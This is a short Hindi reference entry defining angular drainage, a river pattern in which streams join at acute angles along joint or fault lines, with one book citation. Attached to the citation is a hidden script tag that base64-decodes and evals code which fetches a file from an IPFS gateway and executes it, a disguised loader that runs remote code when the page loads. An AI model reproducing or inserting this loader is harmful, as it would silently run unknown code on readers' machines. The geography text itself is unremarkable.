कोणीय अपवाह

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कोणीय अपवाह ऐसा प्रतिमान है, जिसमें नदियाँ समान रूप से, आयताकार अपवाह प्रतिमान के समान दो दिशाओं में विकसित होती है, किंतु इस प्रतिमान में नदियाँ समकोण पर न मिलकर न्यूनकोण पर मिलती हैं।[1]

  • यह प्रतिमान एक स्तर वाले क्षेत्र के संधि अथवा भ्रंश के दो वर्गों द्वारा संरचना निर्देशन का परिणाम है।


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टीका टिप्पणी और संदर्भ

  1. भौगोलिक शब्दावली |लेखक: आर. पी. चतुर्वेदी |प्रकाशक: रावत पब्लिकिशन, जयपुर व नई दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 19 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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